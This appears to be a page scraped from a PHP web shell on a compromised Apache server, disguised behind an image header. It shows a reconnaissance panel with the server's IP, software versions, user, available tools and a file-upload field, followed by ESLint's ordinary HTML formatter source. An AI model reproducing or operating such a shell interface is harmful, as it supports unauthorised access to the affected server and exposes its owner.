????JFIF??x?x????'
Server IP : 79.136.114.73 / Your IP : 3.148.211.202 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/appsrv.astacus.se/forge/node_modules/eslint/lib/formatters/ |
Upload File : |
/** * @fileoverview HTML reporter * @author Julian Laval */ "use strict"; const lodash = require("lodash"); const fs = require("fs"); const path = require("path"); //------------------------------------------------------------------------------ // Helpers //------------------------------------------------------------------------------ const pageTemplate = lodash.template(fs.readFileSync(path.join(__dirname, "html-template-page.html"), "utf-8")); const messageTemplate = lodash.template(fs.readFileSync(path.join(__dirname, "html-template-message.html"), "utf-8")); const resultTemplate = lodash.template(fs.readFileSync(path.join(__dirname, "html-template-result.html"), "utf-8")); /** * Given a word and a count, append an s if count is not one. * @param {string} word A word in its singular form. * @param {int} count A number controlling whether word should be pluralized. * @returns {string} The original word with an s on the end if count is not one. */ function pluralize(word, count) { return (count === 1 ? word : `${word}s`); } /** * Renders text along the template of x problems (x errors, x warnings) * @param {string} totalErrors Total errors * @param {string} totalWarnings Total warnings * @returns {string} The formatted string, pluralized where necessary */ function renderSummary(totalErrors, totalWarnings) { const totalProblems = totalErrors + totalWarnings; let renderedText = `${totalProblems} ${pluralize("problem", totalProblems)}`; if (totalProblems !== 0) { renderedText += ` (${totalErrors} ${pluralize("error", totalErrors)}, ${totalWarnings} ${pluralize("warning", totalWarnings)})`; } return renderedText; } /** * Get the color based on whether there are errors/warnings... * @param {string} totalErrors Total errors * @param {string} totalWarnings Total warnings * @returns {int} The color code (0 = green, 1 = yellow, 2 = red) */ function renderColor(totalErrors, totalWarnings) { if (totalErrors !== 0) { return 2; } if (totalWarnings !== 0) { return 1; } return 0; } /** * Get HTML (table rows) describing the messages. * @param {Array} messages Messages. * @param {int} parentIndex Index of the parent HTML row. * @param {Object} rulesMeta Dictionary containing metadata for each rule executed by the analysis. * @returns {string} HTML (table rows) describing the messages. */ function renderMessages(messages, parentIndex, rulesMeta) { /** * Get HTML (table row) describing a message. * @param {Object} message Message. * @returns {string} HTML (table row) describing a message. */ return lodash.map(messages, message => { const lineNumber = message.line || 0; const columnNumber = message.column || 0; let ruleUrl; if (rulesMeta) { const meta = rulesMeta[message.ruleId]; ruleUrl = lodash.get(meta, "docs.url", null); } return messageTemplate({ parentIndex, lineNumber, columnNumber, severityNumber: message.severity, severityName: message.severity === 1 ? "Warning" : "Error", message: message.message, ruleId: message.ruleId, ruleUrl }); }).join("\n"); } /** * @param {Array} results Test results. * @param {Object} rulesMeta Dictionary containing metadata for each rule executed by the analysis. * @returns {string} HTML string describing the results. */ function renderResults(results, rulesMeta) { return lodash.map(results, (result, index) => resultTemplate({ index, color: renderColor(result.errorCount, result.warningCount), filePath: result.filePath, summary: renderSummary(result.errorCount, result.warningCount) }) + renderMessages(result.messages, index, rulesMeta)).join("\n"); } //------------------------------------------------------------------------------ // Public Interface //------------------------------------------------------------------------------ module.exports = function(results, data) { let totalErrors, totalWarnings; const metaData = data ? data.rulesMeta : {}; totalErrors = 0; totalWarnings = 0; // Iterate over results to get totals results.forEach(result => { totalErrors += result.errorCount; totalWarnings += result.warningCount; }); return pageTemplate({ date: new Date(), reportColor: renderColor(totalErrors, totalWarnings), reportSummary: renderSummary(totalErrors, totalWarnings), results: renderResults(results, metaData) }); };